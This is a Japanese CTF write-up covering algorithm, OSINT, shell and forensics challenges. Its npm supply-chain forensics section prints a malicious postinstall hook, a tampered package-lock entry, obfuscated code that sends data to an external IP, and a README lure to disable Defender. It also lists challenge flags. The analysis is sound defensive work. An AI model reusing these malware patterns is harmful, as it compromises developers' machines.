        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        v[i] = dp[to] + c;
    }
    st.init(v);

    rep(i, 0, n) {
        int to = E[cu][i].first;
        ll c = E[cu][i].second;
        if (to == pa) continue;

        dp[cu] = max(st.get(0, i), st.get(i + 1, n));

        dfs2(to, cu);
    }
}

void _main() {
    cin >> N;
    rep(i, 0, N - 1) {
        int a, b; ll c;
        cin >> a >> b >> c;
        a--; b--;
        E[a].push_back({b, c});
        E[b].push_back({a, c});
    }

    rep(i, 0, N) dp[i] = -infl;

    dfs1(0);
    dfs2(0);

    cout << ans << endl;
}

[PPC] Decrement or Mod Game

2つの正整数A, Bが与えられ、AliceとBobは整数のペア(a, b) = (A, B)を使ったゲームをする。2人は交互に以下のいずれかの操作を行い、操作ができなくなった人が負けです。

  1. aを1減らす。ただしa > 0の場合のみ可能
  2. aをa mod bにする。ただしb ≤ aの場合のみ可能。

先手はAliceです。2人が最適に行動した場合、どちらが勝つか判定せよという問題。

grundy数感がすごいので実験する。

int grundy[100][100];
#define MAX 20
void labo() {
    rep(sm, 2, MAX) {
        rep(a, 1, sm) {
            int b = sm - a;
            set<int> gr;
            if (0 < a) gr.insert(grundy[b][a - 1]);
            if (b <= a) gr.insert(grundy[b][a % b]);
    
            while (gr.count(grundy[a][b])) grundy[a][b]++;
    
            //printf("g[%d][%d] = %d (%d)\n", a, b, grundy[a][b], a + b);
        }
    }

    rep(a, 1, MAX) {
        rep(b, 1, MAX) {
            if (a + b >= MAX) break;
            printf("g[%d][%d] = %d\n", a, b, grundy[a][b]);
        }
        puts("");
    }
}

すると以下のようになる。

g[1][1] = 1
g[1][2] = 1
g[1][3] = 1
g[1][4] = 1
g[1][5] = 1
g[1][6] = 1
g[1][7] = 1
g[1][8] = 1
g[1][9] = 1
g[1][10] = 1
g[1][11] = 1
g[1][12] = 1
g[1][13] = 1
g[1][14] = 1
g[1][15] = 1
g[1][16] = 1
g[1][17] = 1
g[1][18] = 1

g[2][1] = 2
g[2][2] = 1
g[2][3] = 0
g[2][4] = 0
g[2][5] = 0
g[2][6] = 0
g[2][7] = 0
g[2][8] = 0
g[2][9] = 0
g[2][10] = 0
g[2][11] = 0
g[2][12] = 0
g[2][13] = 0
g[2][14] = 0
g[2][15] = 0
g[2][16] = 0
g[2][17] = 0

g[3][1] = 2
g[3][2] = 0
g[3][3] = 1
g[3][4] = 0
g[3][5] = 0
g[3][6] = 0
g[3][7] = 0
g[3][8] = 0
g[3][9] = 0
g[3][10] = 0
g[3][11] = 0
g[3][12] = 0
g[3][13] = 0
g[3][14] = 0
g[3][15] = 0
g[3][16] = 0

g[4][1] = 2
g[4][2] = 1
g[4][3] = 0
g[4][4] = 1
g[4][5] = 0
g[4][6] = 0
g[4][7] = 0
g[4][8] = 0
g[4][9] = 0
g[4][10] = 0
g[4][11] = 0
g[4][12] = 0
g[4][13] = 0
g[4][14] = 0
g[4][15] = 0

g[5][1] = 2
g[5][2] = 1
g[5][3] = 1
g[5][4] = 0
g[5][5] = 1
g[5][6] = 0
g[5][7] = 0
g[5][8] = 0
g[5][9] = 0
g[5][10] = 0
g[5][11] = 0
g[5][12] = 0
g[5][13] = 0
g[5][14] = 0

g[6][1] = 2
g[6][2] = 1
g[6][3] = 1
g[6][4] = 2
g[6][5] = 0
g[6][6] = 1
g[6][7] = 0
g[6][8] = 0
g[6][9] = 0
g[6][10] = 0
g[6][11] = 0
g[6][12] = 0
g[6][13] = 0

g[7][1] = 2
g[7][2] = 1
g[7][3] = 1
g[7][4] = 1
g[7][5] = 2
g[7][6] = 0
g[7][7] = 1
g[7][8] = 0
g[7][9] = 0
g[7][10] = 0
g[7][11] = 0
g[7][12] = 0

g[8][1] = 2
g[8][2] = 1
g[8][3] = 1
g[8][4] = 1
g[8][5] = 2
g[8][6] = 2
g[8][7] = 0
g[8][8] = 1
g[8][9] = 0
g[8][10] = 0
g[8][11] = 0

g[9][1] = 2
g[9][2] = 1
g[9][3] = 1
g[9][4] = 1
g[9][5] = 1
g[9][6] = 2
g[9][7] = 2
g[9][8] = 0
g[9][9] = 1
g[9][10] = 0

g[10][1] = 2
g[10][2] = 1
g[10][3] = 1
g[10][4] = 2
g[10][5] = 1
g[10][6] = 1
g[10][7] = 2
g[10][8] = 2
g[10][9] = 0

g[11][1] = 2
g[11][2] = 1
g[11][3] = 1
g[11][4] = 1
g[11][5] = 1
g[11][6] = 1
g[11][7] = 2
g[11][8] = 2

g[12][1] = 2
g[12][2] = 1
g[12][3] = 1
g[12][4] = 1
g[12][5] = 2
g[12][6] = 1
g[12][7] = 1

g[13][1] = 2
g[13][2] = 1
g[13][3] = 1
g[13][4] = 1
g[13][5] = 2
g[13][6] = 1

g[14][1] = 2
g[14][2] = 1
g[14][3] = 1
g[14][4] = 2
g[14][5] = 1

g[15][1] = 2
g[15][2] = 1
g[15][3] = 1
g[15][4] = 1

g[16][1] = 2
g[16][2] = 1
g[16][3] = 1

g[17][1] = 2
g[17][2] = 1

g[18][1] = 2

競プロ、伝家の宝刀を使おう。「グッと睨むと」、負け状態0になるのは、「自分<相手」か「自分-1=相手」の状態。自分が1のときと自分が2のときがエッジケースなので若干特殊対応をして、実装すると正答。

ll A, B;
string solve() {
    if (A == 1) return "Alice";
    if (A == 2 && B <= 2) return "Alice";
    if (A < B) return "Bob";
    if (A - 1 == B) return "Bob";
    return "Alice";
}
void _main() {
    // labo();

    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Toll Optimization

N個の街があり、M本の道で結ばれている。各道には通行料金Ciがかかる。街1から街Nまで移動するとき、K回まで通行料金を無料にできるクーポンを使える。街1から街Nまでの最小コストを求めよ。

(拡張)ダイクストラをやる。

dp[town][coupon] := 町townにいて、クーポンをcoupon枚持っている状態までに必要な支払うべき料金の最小値

これをダイクストラで更新していき、dp[N][any]の最小値が答え。

int N, M, K;
ll C[101010];
vector<pair<int,ll>> E[101010];

int vis[101010][4];
ll D[101010][4];

void _main() {
    cin >> N >> M >> K;
    rep(i, 0, M) cin >> C[i];
    rep(i, 0, M) {
        int a, b;
        cin >> a >> b;
        a--; b--;
        E[a].push_back({ b, C[i] });
        E[b].push_back({ a, C[i] });
    }

    rep(town, 0, N) rep(coupon, 0, K + 1) D[town][coupon] = infl;
    rep(town, 0, N) rep(coupon, 0, K + 1) vis[town][coupon] = 0;
 
    min_priority_queue<pair<ll, pair<int,int>>> que;
 
    D[0][K] = 0;
    que.push({ 0, {0, K} });
 
    while (!que.empty()) {
        auto q = que.top(); que.pop();
 
        ll cst = q.first;
        int town = q.second.first;
        int coupon = q.second.second;
 
        if (vis[town][coupon]) continue;
        vis[town][coupon] = 1;
 
        fore(p, E[town]) {
            ll cst2 = cst + p.second;
            int town2 = p.first;

            // use coupon
            if (coupon > 0) {
                if (chmin(D[town2][coupon - 1], cst)) que.push({ D[town2][coupon - 1], { town2, coupon - 1 } });
            }

            // not use coupon
            if (chmin(D[town2][coupon], cst2)) que.push({ D[town2][coupon], { town2, coupon } });
        }
    }

    ll ans = infl;
    rep(coupon, 0, K + 1) chmin(ans, D[N - 1][coupon]);
    if (ans == infl) ans = -1;
    cout << ans << endl;
}

[PPC] More and more teleporter

テレポーターがどんどん追加されていくので、最小移動コストを求める問題。テレポーターを使うかどうか、使うならどのテレポーターを使うかを選んで、目標地点への最短移動コストを答える。クエリ処理のため、効率的なデータ構造が必要となる。

まず、テレポーターについて考えてみよう。

  • テレポーターを複数回利用する必要はない。なぜなら、A→Bのように使った場合は、Aは使わずBを使えばいいためである。よって、テレポーターは使わないか、1回使うという選択になる
  • また、テレポーターを使う場合は、一番最初に使うことになる。途中で使うと途中の移動が無駄になるため。

この辺をうまく使って差分計算する。複数テレポーターがある場合のクエリ1の答えは

min(
    x - 1, // 1からxまでnaiveに移動
    abs(x - tx[0]) + tc[0], // 0番目のテレポーターを使った場合
    abs(x - tx[1]) + tc[1], // 1番目のテレポーターを使った場合
    ...
)

となる。テレポーターを使う場合にabsがあるのが厄介だが、xより左側にあるテレポーターか、右側にあるテレポーターかで以下のように無くすことができる。

abs(x - tx[0]) + tc[0]
↓
テレポーター < x  →  x - tx[0] + tc[0]
x < テレポーター  →  tx[0] - x + tc[0]

どのテレポーターでもxは固定なので、位置関係によって-tx[i] + tc[i]tx[i] + tc[i]の最小値が分かれば、テレポーターを使った場合の最小コストが分かる。セグメントツリーをうまく使えばクエリをさばけますね。

int N, Q;
SegTree<ll, 1<<18> lft;
SegTree<ll, 1<<18> rht;
void _main() {
    cin >> N >> Q;
    rep(_, 0, Q) {
        int t; cin >> t;
        if (t == 1) {
            int x; cin >> x; x--;
            ll ans = x;
            chmin(ans, lft.get(0, x) + x); // 左側のテレポーターを使った場合
            chmin(ans, rht.get(x, N) - x); // 右側のテレポーターを使った場合
            cout << ans << endl;
        } else {
            int x, c; cin >> x >> c; x--;
            // lft
            ll cost = -x + c;
            if (cost < lft.get(x, x + 1)) lft.update(x, cost);

            // rht
            cost = x + c;
            if (cost < rht.get(x, x + 1)) rht.update(x, cost);
        }
    }
}

[OSINT] meshitero

美味しい美味しい油そば
画像のメニューの名前を答えてください!

油そばの画像が与えられる。Googleレンズで調べるとこれだった

爆盛油脂麺

CPCTF{bakumoriaburaaburamen}

[OSINT] timetable

fileの写真が示している時刻表に該当する駅や停留所の名前をそのまま小文字でヘボン式で表記してください。

時刻表の画像が与えられる。とりあえず、Googleグラスで検索してみるが、時刻表はどれも似通っているのか、いい情報が無い。「富士見・神保町ルート」「秋葉原ルート」で検索してみると、「風ぐるま」というバスのようだ。

調べると時刻表もあり、同じものを

https://www.city.chiyoda.lg.jp/documents/32796/jikokuhyo.pdf

で探すと、「専修大学法科大学院前」と一致する!これだ!と思ったが、一応いい感じの写真が無いか少し探すと、東急リバブルの写真が見つかる。

https://www.livable.co.jp/mansion/library/000000407576/overview/

に貼ってある

https://www.livable.co.jp/assets/images/original/407576-14.webp

を見ると、細かな文字は見えないが、これっぽいことは分かる。

CPCTF{senshudaigakuhokadaigakuimmae}

[OSINT] Bench 解けてない

この写真が撮影された場所を特定してください。

風景の写真が与えられるので撮影場所を特定する問題。殆ど解けているはずだが、差し切れなかった。

目を引く漫画を検索してみると、「ののちゃん」であることが分かる。「ののちゃん」が張ってあるということはその作者の地元何だろうと思って検索すると、ここは岡山県らしい。

写真を見ると「エブリィ」というスーパーっぽい名前が出てくるので、フェリー乗り場が近くにあるという情報からアレコレ探すと、鮮Do!エブリイ 玉野店までたどり着ける。

https://www.google.com/maps/place/%E9%AE%AEDo!%E3%82%A8%E3%83%96%E3%83%AA%E3%82%A4+%E7%8E%89%E9%87%8E%E5%BA%97/@34.4865519,133.9384073,15.73z/data=!4m10!1m2!2m1!1z5bKh5bGx55yMIOOCqOODluODquOCow!3m6!1s0x3553f073717733f9:0xde2eed5e3aadb7ac!8m2!3d34.4892547!4d133.9493341!15sChblsqHlsbHnnIwg44Ko44OW44Oq44KjkgELc3VwZXJtYXJrZXTgAQA!16s%2Fg%2F11bxdvwpvp?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

そこからそれっぽい所をあれこれ探すと、ここだ!という場所が見つかる。

https://www.google.com/maps/@34.4940365,133.953403,3a,75y,277.07h,73.08t/data=!3m7!1e1!3m5!1sAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub!2e10!6shttps:%2F%2Flh3.googleusercontent.com%2Fp%2FAF1QipNYAewBKPmDVTBf5ExrmDXClkCjM-jtWSUHp7Ub%3Dw900-h600-k-no-pi16.91994956565793-ya193.26474301949798-ro0-fo100!7i6720!8i3360?entry=ttu&g_ep=EgoyMDI1MDQxNi4xIKXMDSoASAFQAw%3D%3D

完全にここだと思うのだが、ここから座標を抽出して答えることができず、終わった…

[shell] XFD

Excelの列名をA~XFDまで生成し、それを改行区切りのテキストファイルに出力する問題。このファイルのSHA256ハッシュ値がフラグとなる。

実装する。

def excel_column_names():
    column = 1
    while True:
        yield column_number_to_name(column)
        if column_number_to_name(column) == 'XFD':
            break
        column += 1

def column_number_to_name(n):
    name = ''
    while n > 0:
        n, remainder = divmod(n - 1, 26)
        name = chr(65 + remainder) + name
    return name

with open('out.txt', 'w') as f:
    for col in excel_column_names():
        f.write(col + '\n')

これで出てきたout.txtでsha256ハッシュ取って提出すると答え。

$ sha256sum out.txt 
6526814a735caafefa75d482c954e11d49c110f5dc73dce2f951d6b11339c05b  out.txt

ハッシュ値が一致しない場合改行文字に注意する。

[shell] Count CPCTF

テキストファイル中の「CPCTF」という文字列の数を数えてみましょう!

大量のテキストから特定の文字列の出現回数を数える問題。

grepしてwcした。

$ wget https://files.cpctf.space/count-CPCTF.txt

$ cat count-CPCTF.txt | grep -o "CPCTF" | wc -l
128196

[forensics] dark

忘れないようにflagのメモの写真を撮ったけど、カメラの設定間違えちゃった!どうしよう!

真っ黒な画像が渡される。青い空を見上げればいつもそこに白い猫のステガノグラフィーでポチポチ見てみると、「赤色 ビット0 抽出」とか「緑色 ビット0 抽出」でフラグが出てくる。

CPCTF{dark_1mage_may_have_1nformat10n}

[forensics] Golden Protocol

伝統って、すばらしい!

pcapファイルが配布される。中身を見るとメールのやり取りになっている。TCP Streamの#1でsecret.zipが送られていて、#3でパスワードらしき文字列が送られている。Golden Protocol。

実際に取り出すと解凍できてフラグが得られる。

CPCTF{I_l0ve_4pples_4nd_p1n34ppl3s_34827ac28a610940}

[forensics] I love MD

セキュリティの都合で使われなくなったハッシュ関数の一つにMD5があります。
衝突させられますか?

MD5ハッシュが衝突する2つの異なる入力文字列を見つける問題。MD5ハッシュが一致するが、平文が異なるようなペアを送信するとフラグが得られる。

自分は、https://twitter.com/realhashbreaker/status/1770161965006008570 で紹介されているものを使った。

[forensics] Event analyze

社内のPCから不審な通信がありました。
どうやら、社内のアルバイトが自作のパッケージを入れて使っていたが、そこに悪意のあるユーザーがマルウェアを混入させたようだ。
解析して以下の内容を突き止めてほしい。

ディスクイメージファイルから不正アクセスの痕跡を解析する問題。マルウェアの埋め込まれたnpmパッケージを特定し、Windows Defenderのログから悪意のあるユーザー名、外部通信先IPアドレスマルウェアのファイル名を特定する。

ディスクイメージが与えられるので解析していく。FTKImagerで開くと

  • C:\Users\User\Documents
  • C:\Window\System32\winevt\Logs
  • C:\ProgramData\Microsoft\Windows Defender

が入っていた。

マルウェアを混入させた悪意のあるユーザーのユーザー名

C:\Users\User\Documents\workspaces\marktype.git のコミットログを解析すると、最新が

commit 0657d2ad695e9fb1418f76c8fea3170f79ce66c8 (HEAD -> main, origin/main, origin/HEAD)
Author: ■■■■ <■■■■@example.net>
Date:   Sat Apr 19 22:10:46 2025 +0900

    feat: update README

diff --git a/README.md b/README.md
index d259e56..bb312e8 100644
--- a/README.md
+++ b/README.md
@@ -2,6 +2,9 @@
 
 This is a simple markdown editor that allows you to write and preview markdown in real-time. It is built using React and Tailwind CSS.
 
+> [!NOTE]
+> Windows Defender may occasionally detect this as a false positive, but there is no problem. In such cases, please either turn off Windows Defender or add an exclusion se
tting.
+
 ## Features
 - Real-time preview of markdown
 - Syntax highlighting for code blocks

で怪しい。その直前にも同じユーザー■■■■によるコミットがある。

■■■■

マルウェアの外部通信先IP形式

package-lock.json

     "node_modules/highlight.js": {
       "version": "11.11.1",
-      "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz",
-      "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==",
+      "resolved": "http://[redacted]/highlight.js/-/highlight.js-11.11.1.tgz",
+      "integrity": "sha512-3w25nwQRz7EEPdOjOGLfE3JvJt7xqiuAw9I9xO4A/TtrtQrQ2Ogc+KMO4RWKm1viop11TzRGKCuCPwxSxS2N7w==",
+      "hasInstallScript": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "megajs": "^1.3.7"
+      },
       "engines": {
         "node": ">=12.0.0"
       }

のような修正があり、src/App.tsxにも

 import { useEffect, useState } from 'react';
 import { Panel, PanelGroup, PanelResizeHandle } from 'react-resizable-panels';
 import MarkdownIt from 'markdown-it';
-import hljs from 'highlight.js';
+import hljs from '@■■■■■■/highlight.js';
 import DOMPurify from 'dompurify';
 import TextareaAutosize from 'react-textarea-autosize';
 import { useDebounce } from 'use-debounce';

という修正がある。配布されたディスクイメージにnode_modulesが含まれていたのでそこからデータを持ってこよう。CHANGES.mdを見るとhighlight.jsの11.11.2のようだが、npmで見ると11.11.1が最新。とりあえず、diffを取ってみると、package.jsonのscriptのpostinstallに追記があった。

    "postinstall": "node ./lib/check.js",

./lib/check.jsを見ると難読化コードがあった。これですね。コードを解析すると通信先が分かる。sendResultsに

async function sendResults(rS$ClJLTXhGgfGrRteqoNKsQu$g) {
    const dic = uDOdzcLVrnBW$zxS,
        xY_WrxsfJxMwAx = dic(0x241),
        QkGLuwfbXPZgPCQrDgJeP = {
            'scanned_hosts': rS$ClJLTXhGgfGrRteqoNKsQu$g
        };
    try {
        const BKcEwFtyvecUTnu = await fetch(xY_WrxsfJxMwAx, {
            'method': dic(0x242),
            'headers': {
                'Content-Type': dic(0x22b)
            },
            'body': JSON[dic(0x223)](QkGLuwfbXPZgPCQrDgJeP)
        });
        console[dic(0x229)](dic(0x22e), BKcEwFtyvecUTnu[dic(0x1f2)]);
    } catch (TJTadDFVgeKsuvnbQvM$Z_cKjoQ) {
        console[dic(0x229)](dic(0x231), TJTadDFVgeKsuvnbQvM$Z_cKjoQ);
    }
}

こういう部分があり、fetchに渡されている文字列をたどっていくとhxxp://96[.]7[.]128[.]■■/api/endpointというのが(defang済み)渡されていた。よって、

96_7_128_■■

マルウェアの、過去に報告されているファイル名(拡張子を除く)

checkか? → いや、違う

いや、ちゃんと見るか。報告されているというのはWindows Defenderだろう。WindowsイベントログにはDefenderの検知ログも出てくるので、それを見ることにする。hayabusaを入れてcsv-timelineを見てみる。

"2025-04-19 23:11:14.615 +09:00","WinDev2407Eval","Defender",1116,"crit",85,"Antivirus Ransomware Detection","Threat: Trojan:Python/FileCoder.AG!MTB ¦ Severity: Severe ¦ Type: Trojan ¦ User: ¦ Path: file:_C:\Users\User\Documents\workspaces\marktype\node_modules\highlight.js\this_is_not_flag.py ¦ Proc: Unknown","Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 8 ¦ Detection ID: {A4B6C5C1-8A64-4407-A6A3-92681AC72A03} ¦ Detection Time: 2025-04-19T14:11:14.596Z ¦ Engine Version: AM: 1.1.25030.1, NIS: 1.1.25030.1 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Python/FileCoder.AG!MTB&threatid=2147921159&enterprise=0 ¦ Origin ID: 1 ¦ Origin Name: Local machine ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 4.18.2201.11 ¦ Security intelligence Version: AV: 1.427.341.0, AS: 1.427.341.0, NIS: 1.427.341.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Threat ID: 2147921159 ¦ Type ID: 0 ¦ Type Name: Concrete"

this_is_not_flag とあるが… → 違う

%programdata%\\Microsoft\\Windows Defender\\Scans\\History\\Service\\DetectionHistoryを見ても同じファイル名。あってそう?

んーWindowsイベントログを.jsでキーワード検索してもいい情報が無い。

DetectionHistoryってハッシュ値残ってない?と思って調べてみると、取得できるようだ。defender-detectionhistory-parserを使って、ファイルを解析すると、sha256ハッシュ値が得られる。

{
    "GUID": "a4b6c5c1-8a64-4407-a6a3-92681ac72a03",
    "Magic.Version": "1.2",
    "Trojan": "Python/FileCoder.AG!MTB",
    "ThreatStatusID": 4,
    "file": "C:\\Users\\User\\Documents\\workspaces\\marktype\\node_modules\\highlight.js\\this_is_not_flag.py",
    "ThreatTrackingSha256": "b96323d57f8cb064f82c9821dbe9bec3fe6d2c08731e2aed39005bcf61a589c8",
    "ThreatTrackingSigSeq": "0x0000266725866614",
    "ThreatTrackingId": "191D0034-66D1-40AE-BAD1-383988FDED98",
    "ThreatTrackingStartTime": "04-19-2025 14:11:14",
    "ThreatTrackingThreatName": "Trojan:Python/FileCoder.AG!MTB",
    "ThreatTrackingSha1": "2669c24f0bbb80d7574dd6fa2727f2a1061da8a1",
    "ThreatTrackingSigSha": "b3fe2875b134dd813d8d81dda1455806b9c14f76",
    "ThreatTrackingSize": 2553,
    "ThreatTrackingMD5": "f8f240b78f5d51e760180e759f076643",
    "ThreatTrackingScanFlags": "",
    "ThreatTrackingIsEsuSig": "",
    "ThreatTrackingThreatId": 2147921159,
    "ThreatTrackingScanSource": "",
    "ThreatTrackingScanType": "",
    "User": "Unknown",
    "SpawningProcessName": "NT AUTHORITY\\SYSTEM"
}

このハッシュ値でVirusTotalを検索すると、DetailsのNamesの所にevil.pyというのを見ることができる。

evil

これを全部くっつけると答えになる。